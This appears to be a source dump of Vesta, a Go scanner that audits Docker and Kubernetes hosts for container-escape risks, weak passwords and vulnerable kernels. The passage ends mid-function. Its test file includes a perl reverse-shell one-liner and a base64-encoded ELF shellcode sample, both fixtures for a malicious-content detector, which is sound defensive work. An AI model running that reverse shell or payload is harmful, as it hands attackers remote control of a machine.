modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.5.1 h1:RTNHdsrOpeoSeOF4FbzTo8gBYByaJ5xT7NgZ9ZqRiJM=
modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
sigs.k8s.io/structured-merge-diff/v4 v4.0.2/go.mod h1:bJZC9H9iH24zzfZ/41RGcq60oK1F7G282QMXDPYydCw=
sigs.k8s.io/structured-merge-diff/v4 v4.1.2 h1:Hr/htKFmJEbtMgS/UD0N+gtgctAqz81t3nu+sPzynno=
sigs.k8s.io/structured-merge-diff/v4 v4.1.2/go.mod h1:j/nl6xW8vLS49O8YvXW1ocPhZawJtm+Yrr7PPRQ0Vg4=
sigs.k8s.io/yaml v1.2.0 h1:kr/MCeFWJWTwyaHoR9c8EjH9OumOmoF9YGiZd7lFm/Q=
sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc=
================================================
FILE: helm/vesta/.helmignore
================================================
# Patterns to ignore when building packages.
# This supports shell glob matching, relative path matching, and
# negation (prefixed with !). Only one pattern per line.
.DS_Store
# Common VCS dirs
.git/
.gitignore
.bzr/
.bzrignore
.hg/
.hgignore
.svn/
# Common backup files
*.swp
*.bak
*.tmp
*.orig
*~
# Various IDEs
.project
.idea/
*.tmproj
.vscode/
================================================
FILE: helm/vesta/Chart.yaml
================================================
apiVersion: v2
name: vesta
description: Vesta helm chart
type: application
version: 0.1.0
appVersion: "1.0.11"
keywords:
- scanner
- vesta
- vulnerability
- k8s
sources:
- https://github.com/kvesta/vesta
================================================
FILE: helm/vesta/README.md
================================================
# Vesta Scanner
Vesta toolkit standalone installation.
## TL;DR;
```
$ helm install vesta . --namespace vesta --create-namespace
```
## Introduction
This chart bootstraps a Trivy deployment on a [Kubernetes](http://kubernetes.io) cluster using the
[Helm](https://helm.sh) package manager.
## Prerequisites
- Kubernetes 1.12+
- Helm 3+
================================================
FILE: helm/vesta/templates/_helpers.tpl
================================================
{{/*
Expand the name of the chart.
*/}}
{{- define "vesta.name" -}}
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Create a default fully qualified app name.
We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).
If release name contains chart name it will be used as a full name.
*/}}
{{- define "vesta.fullname" -}}
{{- if .Values.fullnameOverride }}
{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- $name := default .Chart.Name .Values.nameOverride }}
{{- if contains $name .Release.Name }}
{{- .Release.Name | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}
{{- end }}
{{- end }}
{{- end }}
{{/*
Create chart name and version as used by the chart label.
*/}}
{{- define "vesta.chart" -}}
{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Common labels
*/}}
{{- define "vesta.labels" -}}
helm.sh/chart: {{ include "vesta.chart" . }}
{{ include "vesta.selectorLabels" . }}
{{- if .Chart.AppVersion }}
app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
{{- end }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
{{- end }}
{{/*
Selector labels
*/}}
{{- define "vesta.selectorLabels" -}}
app.kubernetes.io/name: {{ include "vesta.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
{{- end }}
{{/*
Create the name of the service account to use
*/}}
{{- define "vesta.serviceAccountName" -}}
{{- if .Values.serviceAccount.create }}
{{- default (include "vesta.fullname" .) .Values.serviceAccount.name }}
{{- else }}
{{- default "default" .Values.serviceAccount.name }}
{{- end }}
{{- end }}
================================================
FILE: helm/vesta/templates/clusterrole.yaml
================================================
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: {{ .Release.Name }}-clusterrole
namespace: {{ .Release.Namespace }}
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["get", "watch", "list"]
================================================
FILE: helm/vesta/templates/clusterrolebinding.yaml
================================================
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: {{ include "vesta.fullname" . }}-clusterrolebinding
subjects:
- kind: ServiceAccount
name: {{ include "vesta.fullname" . }}
namespace: {{ .Release.Namespace }}
roleRef:
kind: ClusterRole
name: {{ .Release.Name }}-clusterrole
apiGroup: rbac.authorization.k8s.io
================================================
FILE: helm/vesta/templates/job.yaml
================================================
{{- range $job := .Values.jobs }}
---
apiVersion: batch/v1
kind: Job
metadata:
name: "{{ $job.name }}"
spec:
template:
spec:
serviceAccountName: {{ include "vesta.fullname" $ }}
containers:
- name: {{ $job.name }}
image: "{{ $job.image.repository }}:{{ $job.image.tag }}"
imagePullPolicy: {{ $job.image.pullPolicy }}
args:
{{- range $value := $job.args }}
- {{ $value}}
{{- end }}
restartPolicy: {{ $job.image.restartPolicy }}
{{- end }}
================================================
FILE: helm/vesta/templates/serviceaccount.yaml
================================================
apiVersion: v1
kind: ServiceAccount
metadata:
name: {{ include "vesta.fullname" . }}
namespace: {{ .Release.Namespace }}
================================================
FILE: helm/vesta/values.yaml
================================================
nameOverride: ""
fullnameOverride: ""
jobs:
- name: vesta
image:
registry: docker.io
repository: kvesta/vesta
tag: latest
pullPolicy: IfNotPresent
restartPolicy: OnFailure
args:
- "analyze"
- "k8s"
================================================
FILE: internal/analyzer/analyze.go
================================================
package analyzer
import (
"context"
"fmt"
"log"
"strings"
"time"
"github.com/docker/docker/api/types"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/pkg/osrelease"
"github.com/kvesta/vesta/pkg/vulnlib"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)
func (s *Scanner) Analyze(ctx context.Context) error {
dockerInps, err := s.DApi.GetAllContainers()
if err != nil {
if strings.Contains(err.Error(), "Is the docker daemon running") {
log.Printf("Cannot connect to docker service")
return err
}
log.Printf("Cannot get all docker inpector, error: %v", err)
return err
}
dockerImages, err := s.DApi.GetAllImage()
if err != nil {
log.Printf("Cannot get all docker images, error: %v", err)
}
err = s.checkDockerContext(ctx, dockerImages)
if err != nil {
log.Printf("failed to check docker context, error: %v", err)
}
log.Printf(config.Yellow("Begin container analyzing"))
for _, in := range dockerInps {
err := s.checkDockerList(in)
if err != nil {
log.Printf("Container %s check error, %v", in.ID[:12], err)
}
}
return nil
}
func (ks *KScanner) Kanalyze(ctx context.Context) error {
err := ks.checkKubernetesList(ctx)
if err != nil {
return err
}
return nil
}
func (s *Scanner) checkDockerList(config *types.ContainerJSON) error {
var isVulnerable = false
ths := []*threat{}
// Checking privileged
if ok, tlist := checkPrivileged(config); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
// Checking mount volumes
if ok, tlist := checkMount(config); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
// Checking the strength of password
if ok, tlist := checkEnvPassword(config); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
// Checking network model
if ok, tlist := checkNetworkModel(config, s.EngineVersion); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
if ok, tlist := checkPid(config); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
// Checking whether used the dangerous image
if ok, tlist := checkImageUsed(config, s.VulnContainers); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
if isVulnerable {
sortSeverity(ths)
con := &container{
ContainerID: config.ID[:12],
ContainerName: config.Name[1:],
Threats: ths,
}
if s.DApi.FindDockerService(con.ContainerName) {
con.ContainerID += " | running in Docker Swarm"
}
s.VulnContainers = append(s.VulnContainers, con)
}
return nil
}
func (ks *KScanner) checkKubernetesList(ctx context.Context) error {
version, err := ks.KClient.ServerVersion()
if err != nil {
if strings.Contains(err.Error(), "connection refused") {
log.Printf("kubelet is not start")
} else {
log.Printf("failed to start Kubernetes, error: %v", err)
}
return err
}
ks.Version = version.String()
// If k8s version less than v1.24, using the docker checking
if compareVersion(ks.Version, "1.24", "0.0") && !ctx.Value("inside").(bool) {
err = ks.dockershimCheck(ctx)
if err != nil {
log.Printf("failed to use docker to check, error: %v", err)
}
} else {
err = ks.kernelCheck(ctx)
if err != nil {
log.Printf("failed to check kernel version, error: %v", err)
}
}
nsList, err := ks.KClient.
CoreV1().
Namespaces().List(context.TODO(), metav1.ListOptions{})
if err != nil {
log.Printf("get namespace failed: %v", err)
}
err = ks.getNodeInfor(ctx)
if err != nil {
log.Printf("failed to get node information: %v", err)
}
// Check RBAC rules
err = ks.checkClusterBinding()
if err != nil {
log.Printf("check RBAC failed, %v", err)
}
log.Printf(config.Yellow("Begin Pods analyzing"))
log.Printf(config.Yellow("Begin ConfigMap and Secret analyzing"))
log.Printf(config.Yellow("Begin RoleBinding analyzing"))
log.Printf(config.Yellow("Begin Job and CronJob analyzing"))
log.Printf(config.Yellow("Begin DaemonSet analyzing"))
if ctx.Value("nameSpace") == "all" || ctx.Value("nameSpace") != "standard" {
namespaceWhileList = []string{}
}
// Check configuration in namespace
if ctx.Value("nameSpace") != "standard" && ctx.Value("nameSpace") != "all" {
ns := ctx.Value("nameSpace")
err = ks.checkRoleBinding(ns.(string))
if err != nil {
log.Printf("check role binding failed in namespace: %s, %v", ns.(string), err)
}
err = ks.checkConfigMap(ns.(string))
if err != nil {
log.Printf("check config map failed in namespace: %s, %v", ns.(string), err)
}
err = ks.checkSecret(ns.(string))
if err != nil {
log.Printf("check secret failed in namespace: %s, %v", ns.(string), err)
}
err := ks.checkPod(ns.(string))
if err != nil {
log.Printf("check pod failed in namespace: %s, %v", ns.(string), err)
}
err = ks.checkDaemonSet(ns.(string))
if err != nil {
log.Printf("check daemonset failed in namespace: %s, %v", ns.(string), err)
}
err = ks.checkJobsOrCornJob(ns.(string))
if err != nil {
log.Printf("check job failed in namespace: %s, %v", ns.(string), err)
}
} else {
for _, ns := range nsList.Items {
isNecessary := true
// Check whether in the white list of namespaces
for _, nswList := range namespaceWhileList {
if ns.Name == nswList {
isNecessary = false
}
}
err = ks.checkConfigMap(ns.Name)
if err != nil {
log.Printf("check config map failed in namespace: %s, %v", ns.Name, err)
}
err = ks.checkSecret(ns.Name)
if err != nil {
log.Printf("check secret failed in namespace %s, %v", ns.Name, err)
}
if isNecessary {
err = ks.checkRoleBinding(ns.Name)
if err != nil {
log.Printf("check role binding failed in namespace: %s, %v", ns.Name, err)
}
err := ks.checkPod(ns.Name)
if err != nil {
log.Printf("check pod failed in namespace: %s, %v", ns.Name, err)
}
}
err = ks.checkDaemonSet(ns.Name)
if err != nil {
log.Printf("check daemonset failed in namespace: %s, %v", ns.Name, err)
}
err = ks.checkJobsOrCornJob(ns.Name)
if err != nil {
log.Printf("check job failed in namespace: %s, %v", ns.Name, err)
}
}
}
// Check PV and PVC
err = ks.checkPersistentVolume()
if err != nil {
log.Printf("check pv and pvc failed, %v", err)
}
// Check PodSecurityPolicy
err = ks.checkPodSecurityPolicy()
if err != nil {
log.Printf("check podSecurityPolicy failed, %v", err)
}
// Check certification expiration
err = ks.checkCerts()
if err != nil {
log.Printf("check certification expiration failed, %v", err)
}
// Check Kubernetes CNI
err = ks.checkCNI()
if err != nil {
log.Printf("check CNI failed, %v", err)
}
sortSeverity(ks.VulnConfigures)
return nil
}
// checkDockerVersion check docker server version
func checkDockerVersion(cli vulnlib.Client, serverVersion string) (bool, []*threat) {
log.Printf(config.Yellow("Begin docker version analyzing"))
var vuln = false
tlist := []*threat{}
rows, err := cli.QueryVulnByName("docker")
if err != nil {
return vuln, tlist
}
for _, row := range rows {
if compareVersion(serverVersion, row.MaxVersion, row.MinVersion) {
th := &threat{
Param: "Docker server",
Value: serverVersion,
Type: "K8s version less than v1.24",
Describe: fmt.Sprintf("Docker server version is threated under the %s", row.CVEID),
Reference: row.Description,
Severity: strings.ToLower(row.Level),
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
// checkKernelVersion check kernel version for whether the kernel version
// is under the vulnerable version which has a potential container escape
// such as Dirty Cow,Dirty Pipe
func checkKernelVersion(cli vulnlib.Client, kernelVersion osrelease.KernelVersion) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
var vulnKernelVersion = map[string]string{
"CVE-2016-5195": "Dirty Cow",
"CVE-2020-14386": "CVE-2020-14386 with CAP_NET_RAW",
"CVE-2021-22555": "CVE-2021-22555 kernel-netfilter",
"CVE-2022-0847": "Dirty Pipe",
"CVE-2022-0185": "CVE-2022-0185 with CAP_SYS_ADMIN",
"CVE-2022-0492": "CVE-2022-0492 with CAP_SYS_ADMIN and v1 architecture of cgroups"}
log.Printf(config.Yellow("Begin kernel version analyzing"))
for cve, nickname := range vulnKernelVersion {
var maxVersion, publishDate string
underVuln := false
rows, err := cli.QueryVulnByCVEID(cve)
if err != nil {
log.Printf("faield to search database, error: %v", err)
break
}
for _, row := range rows {
// The data of CVE-2016-5195 is not correct
if cve == "CVE-2016-5195" {
row.MaxVersion = "4.8.3"
}
if compareVersion(kernelVersion.Version, row.MaxVersion, row.MinVersion) && row.VulnName == "linux_kernel" {
vuln, underVuln = true, true
maxVersion = row.MaxVersion
publishDate = row.PublishDate
break
}
}
if underVuln {
th := &threat{
Param: "kernel version",
Value: kernelVersion.Version,
Type: "K8s version less than v1.24",
Describe: fmt.Sprintf("Kernel version is suffering the %s vulnerablility below the version `%s`, ",
nickname, strings.TrimPrefix(maxVersion, "=")),
Reference: "Update kernel version or docker-desktop.",
Severity: "critical",
}
pb, _ := time.Parse("2006-01-02", publishDate)
if kernelVersion.BuiltDate.After(pb) {
th.Describe += fmt.Sprintf("but it was compiled on %s, "+
"which is later than the date of vulnerability on %s.",
kernelVersion.BuiltDate.Format("2006-01-02"), publishDate)
th.Severity = "low"
} else {
th.Describe += "which has a potential container escape."
}
tlist = append(tlist, th)
}
}
return vuln, tlist
}
================================================
FILE: internal/analyzer/analyze_test.go
================================================
package analyzer
import (
"reflect"
"testing"
)
func TestSortSeverity(t *testing.T) {
type args struct {
threats []*threat
}
tests := []struct {
name string
args args
}{
{
name: "sort_test_1",
args: args{threats: []*threat{{Severity: "high"}, {Severity: "low"}, {Severity: "critical"}}},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
sortSeverity(tt.args.threats)
})
}
}
func TestWeakPassword(t *testing.T) {
type args struct {
p string
}
tests := []struct {
name string
args args
want string
wantErr bool
}{
{
name: "weakPassword",
args: args{p: "root"},
want: "Weak",
},
{
name: "weakPassword",
args: args{p: "Password123"},
want: "Weak",
},
{
name: "strongPassword",
args: args{p: "dDjwC3m^BFXz6B#a"},
want: "Strong",
},
{
name: "strongConfusionPassword",
args: args{p: "ior7LLvMsAujin3Y"},
want: "Strong",
},
{
name: "mediumPassword",
args: args{p: "plDAYh"},
want: "Medium",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := checkWeakPassword(tt.args.p)
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("checkWeakPassword() got = %v, want %v", got, tt.want)
}
})
}
}
func TestMalware(t *testing.T) {
type args struct {
command string
}
tests := []struct {
name string
args args
want MalReporter
wantErr bool
}{
{
name: "ELF base64",
args: args{command: "XHg3Rlx4NDVceDRDXHg0Nlx4MDFceDAxXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDJceDAwXHgwM1x4MDBceDAxXHgwMFx4MDBceDAwXHg1NFx4ODBceDA0XHgwOFx4MzRceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MzRceDAwXHgyMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ODBceDA0XHgwOFx4MDBceDgwXHgwNFx4MDhceENGXHgwMFx4MDBceDAwXHg0QVx4MDFceDAwXHgwMFx4MDdceDAwXHgwMFx4MDBceDAwXHgxMFx4MDBceDAwXHg2QVx4MEFceDVFXHgzMVx4REJceEY3XHhFM1x4NTNceDQzXHg1M1x4NkFceDAyXHhCMFx4NjZceDg5XHhFMVx4Q0RceDgwXHg5N1x4NUJceDY4XHhDMFx4QThceDEzXHhGM1x4NjhceDAyXHgwMFx4MTFceDVDXHg4OVx4RTFceDZBXHg2Nlx4NThceDUwXHg1MVx4NTdceDg5XHhFMVx4NDNceENEXHg4MFx4ODVceEMwXHg3OVx4MTlceDRFXHg3NFx4M0RceDY4XHhBMlx4MDBceDAwXHgwMFx4NThceDZBXHgwMFx4NkFceDA1XHg4OVx4RTNceDMxXHhDOVx4Q0RceDgwXHg4NVx4QzBceDc5XHhCRFx4RUJceDI3XHhCMlx4MDdceEI5XHgwMFx4MTBceDAwXHgwMFx4ODlceEUzXHhDMVx4RUJceDBDXHhDMVx4RTNceDBDXHhCMFx4N0RceENEXHg4MFx4ODVceEMwXHg3OFx4MTBceDVCXHg4OVx4RTFceDk5XHhCMlx4NkFceEIwXHgwM1x4Q0RceDgwXHg4NVx4QzBceDc4XHgwMlx4RkZceEUxXHhCOFx4MDFceDAwXHgwMFx4MDBceEJCXH=="},
want: MalReporter{
Types: Executable,
Score: 0.9,
Plain: "ELF LSB executable binary",
},
},
{
name: "Reverse shell",
args: args{command: "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"127.0.0.1:9999\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"},
want: MalReporter{
Types: Confusion,
Score: 0.99,
Plain: "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socke",
},
},
{
name: "Normal environment",
args: args{command: "SPq$b6^vuY8Bo2dM"},
want: MalReporter{
Types: Unknown,
Score: 0.0,
Plain: "SPq$b6^vuY8Bo2dM",
},
},
{
name: "Normal $PATH environment",
args: args{command: "/usr/local/share/luajit-2.1.0-beta3/?.lua;/usr/local/share/lua/5.1/?.lua;/usr/local/lib/lua/?.lua;;"},
want: MalReporter{
Types: Unknown,
Score: 0.0,
Plain: "",
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := maliciousContentCheck(tt.args.command)
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("maliciousContentCheck() got = %v, want %v", got, tt.want)
}
})
}
}
================================================
FILE: internal/analyzer/docker.go
================================================
package analyzer
import (
"context"
"crypto/tls"
"fmt"
"io/ioutil"
"log"
"net/http"
"regexp"
"strings"
"github.com/docker/docker/api/types"
version2 "github.com/hashicorp/go-version"
_config "github.com/kvesta/vesta/config"
_image "github.com/kvesta/vesta/pkg/inspector"
"github.com/kvesta/vesta/pkg/osrelease"
"github.com/kvesta/vesta/pkg/vulnlib"
"github.com/tidwall/gjson"
)
func (s *Scanner) checkDockerContext(ctx context.Context, images []*_image.ImageInfo) error {
cli := vulnlib.Client{}
err := cli.Init()
if err != nil {
log.Printf("failed to init database, error: %v", err)
} else {
defer cli.DB.Close()
}
// Checking kernel version
kernelVersion, err := osrelease.GetKernelVersion(context.Background())
if err != nil {
log.Printf("failed to get kernel version: %v", err)
}
// Checking the docker swarm
err = s.checkSwarm()
if err != nil {
log.Printf("docker swarm error: %v", err)
}
if ok, tlist := checkKernelVersion(cli, kernelVersion); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Kernel",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
// Check Docker server version
if ok, tlist := checkDockerVersion(cli, s.ServerVersion); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Server Version",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
// Check 2375 unauthorized
if ok, tlist := checkDockerUnauthorized(); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Docker 2375 port",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
// Check the repo's tag
// We found that it is hard to exploit
/*
if ok, tlist := checkImages(images); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Image Tag",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
*/
// Check image's history
if ok, tlist := CheckHistories(images); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Image Configuration",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
return nil
}
func checkSwarmLabels(labels map[string]string, name, configType string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
match := false
for k, v := range labels {
for _, p := range passKey {
if p.MatchString(k) {
match = true
break
}
}
if match {
switch checkWeakPassword(v) {
case "Weak":
th := &threat{
Param: configType + " Label",
Value: fmt.Sprintf("%s name: %s", configType, name),
Describe: fmt.Sprintf("Lables '%s' has weak password: '%s'.", k, v),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case "Medium":
th := &threat{
Param: configType + " Label",
Value: fmt.Sprintf("%s name: %s", configType, name),
Describe: fmt.Sprintf("Lables '%s' password '%s' "+
"need to be reinforced.", k, v),
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
}
}
return vuln, tlist
}
func (s *Scanner) checkSwarmSecrets() error {
var vuln = false
tlist := []*threat{}
ses, err := s.DApi.
DCli.
SecretList(context.Background(), types.SecretListOptions{})
if err != nil {
log.Printf("failed to check docker config")
return err
}
// TODO: check the content of the secret
for _, se := range ses {
vuln, tlist = checkSwarmLabels(se.Spec.Labels, se.Spec.Name, "Secret")
}
if vuln {
ct := &container{
ContainerID: "None",
ContainerName: "Docker Swarm Secret",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
return nil
}
func (s *Scanner) checkSwarmConfigs() error {
var vuln = false
tlist := []*threat{}
cons, err := s.DApi.
DCli.
ConfigList(context.Background(), types.ConfigListOptions{})
if err != nil {
return err
}
for _, con := range cons {
configData := string(con.Spec.Data)
detect := maliciousContentCheck(configData)
switch detect.Types {
case Executable:
th := &threat{
Param: "Config Data",
Value: fmt.Sprintf("Config name: %s", con.Spec.Name),
Describe: fmt.Sprintf("Malicious value found in config Data "+
"with the plain text '%s'.", detect.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case Confusion:
th := &threat{
Param: "Config Data",
Value: fmt.Sprintf("Config name: %s", con.Spec.Name),
Describe: fmt.Sprintf("Confusion value found in config Data "+
"with the plain text '%s'.", detect.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
default:
// ignore
}
vulnLabel, tlistLabel := checkSwarmLabels(con.Spec.Labels, con.Spec.Name, "Config")
if vulnLabel {
vuln = true
tlist = append(tlist, tlistLabel...)
}
}
if vuln {
ct := &container{
ContainerID: "None",
ContainerName: "Docker Swarm Config",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
return nil
}
func (s *Scanner) checkDockerService() error {
var vuln = false
tlist := []*threat{}
sers, err := s.DApi.
DCli.
ServiceList(context.Background(), types.ServiceListOptions{})
if err != nil {
return err
}
for _, se := range sers {
// Checking the swarm config
for _, c := range se.Spec.TaskTemplate.ContainerSpec.Configs {
for _, v := range s.VulnContainers {
if strings.Contains(v.ContainerName, "Docker Swarm Config") {
for _, t := range v.Threats {
if strings.HasSuffix(t.Value, c.ConfigName) {
th := &threat{
Param: "Swarm Service",
Value: fmt.Sprintf("Service Name: %s", se.Spec.Name),
Describe: fmt.Sprintf("Docker Service is using the unsafe swarm config: '%s'.", c.ConfigName),
Severity: t.Severity,
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
}
}
// Checking the swarm secret
for _, secret := range se.Spec.TaskTemplate.ContainerSpec.Secrets {
for _, v := range s.VulnContainers {
if strings.Contains(v.ContainerName, "Docker Swarm Secret") {
for _, t := range v.Threats {
if strings.HasSuffix(t.Value, secret.File.Name) {
th := &threat{
Param: "Swarm Service",
Value: fmt.Sprintf("Service Name: %s", se.Spec.Name),
Describe: fmt.Sprintf("Docker Service is using the unsafe swarm secret: '%s'.", secret.File.Name),
Severity: t.Severity,
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
}
}
}
if vuln {
ct := &container{
ContainerID: "None",
ContainerName: "Docker Swarm Service",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
return nil
}
func (s *Scanner) checkSwarm() error {
_, err := s.DApi.
DCli.
ServiceList(context.Background(), types.ServiceListOptions{})
if err != nil {
if strings.Contains(err.Error(), "This node is not a swarm manager") {
return nil
}
return err
}
log.Printf(_config.Yellow("Begin docker swarm analyzing"))
err = s.checkSwarmConfigs()
err = s.checkSwarmSecrets()
err = s.checkDockerService()
if err != nil {
log.Printf("failed to check docker service")
}
return err
}
func checkPrivileged(config *types.ContainerJSON) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
capList, highestSeverity := "", "medium"
for _, capadd := range config.HostConfig.CapAdd {
for c, s := range dangerCaps {
if capadd == c {
capList += capadd + " "
if _config.SeverityMap[s] > _config.SeverityMap[highestSeverity] {
highestSeverity = s
}
vuln = true
}
}
if capadd == "CAP_DAC_READ_SEARCH" {
th := &threat{
Param: "CapAdd",
Value: "CAP_DAC_READ_SEARCH",
Describe: "There has a potential arbitrary file leakage.",
Severity: "medium",
}
tlist = append(tlist, th)
}
}
if vuln {
th := &threat{
Param: "CapAdd",
Value: capList,
Describe: "There has a potential container escape in privileged module.",
Severity: highestSeverity,
}
tlist = append(tlist, th)
}
if config.HostConfig.Privileged {
th := &threat{
Param: "Privileged",
Value: "true",
Describe: "There has a potential container escape in privileged module.",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
return vuln, tlist
}
func checkMount(config *types.ContainerJSON) (bool, []*threat) {
var vuln = false
mounts := config.Mounts
tlist := []*threat{}
for _, mount := range mounts {
if isVuln := checkMountPath(mount.Source); isVuln {
th := &threat{
Param: "Mount",
Value: mount.Source,
Describe: fmt.Sprintf("Mount '%s' in '%s' is suffer vulnerable of "+
"container escape.", mount.Source, mount.Destination),
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func checkEnvPassword(config *types.ContainerJSON) (bool, []*threat) {
var vuln = false
var password string
tlist := []*threat{}
imageVersion := config.Config.Image
// Check weakness password
if strings.Contains(imageVersion, "mysql") ||
strings.Contains(imageVersion, "postgres") {
mysqlReg := regexp.MustCompile(`MYSQL_ROOT_PASSWORD=(.*)`)
postgReqs := regexp.MustCompile(`POSTGRES_PASSWORD=(.*)`)
env := config.Config.Env
for _, e := range env {
mysqlPass := mysqlReg.FindStringSubmatch(e)
postPass := postgReqs.FindStringSubmatch(e)
if len(mysqlPass) > 1 {
password = mysqlPass[1]
} else if len(postPass) > 1 {
password = postPass[1]
} else {
continue
}
switch checkWeakPassword(password) {
case "Weak":
th := &threat{
Param: "Weak Password",
Value: fmt.Sprintf("Password: '%s'", password),
Describe: fmt.Sprintf("%s has weak password: '%s'.", imageVersion, password),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case "Medium":
th := &threat{
Param: "Password need to be reinforced",
Value: fmt.Sprintf("Password: '%s'", password),
Describe: fmt.Sprintf("%s password '%s' "+
"need to be reinforced.", imageVersion, password),
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
}
} else if strings.Contains(imageVersion, "redis") {
args := config.Args
requirepass := false
for _, arg := range args {
if strings.Contains(arg, "--requirepass") {
requirepass = true
}
if requirepass {
password := arg
switch checkWeakPassword(password) {
case "Weak":
th := &threat{
Param: "Weak Password",
Value: fmt.Sprintf("Password: '%s'", password),
Describe: fmt.Sprintf("Redis has weak password: '%s'.", password),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case "Medium":
th := &threat{
Param: "Password need to be reinforced",
Value: fmt.Sprintf("Password: '%s'", password),
Describe: fmt.Sprintf("Redis password '%s' "+
"need to be reinforced.", password),
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
}
}
}
}
return vuln, tlist
}
// checkNetworkModel check container network model
//reference: https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4
func checkNetworkModel(config *types.ContainerJSON, version string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
if config.HostConfig.NetworkMode == "host" {
currentVersion, _ := version2.NewVersion(version)
maxVersion, _ := version2.NewVersion("1.3.7")
if currentVersion.Compare(maxVersion) <= 0 || version == "1.4.1" || version == "1.4.0" {
th := &threat{
Param: "network",
Value: "host",
Describe: fmt.Sprintf("Containerd version is %s lower than 1.3.7 or 1.4.1"+
" is suffer vulnerable of CVE-2020-15257.", version),
Reference: "https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
if !vuln {
th := &threat{
Param: "network",
Value: "host",
Describe: "Docker container is running with `--net=host`, " +
"which will exposed the network of physical machine.",
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func checkPid(config *types.ContainerJSON) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
if config.HostConfig.PidMode == "host" {
th := &threat{
Param: "pid",
Value: "host",
Describe: "Docker container is run with `--pid=host`, " +
"which attackers can see all the processes in physical machine" +
" and cause the potential container escape.",
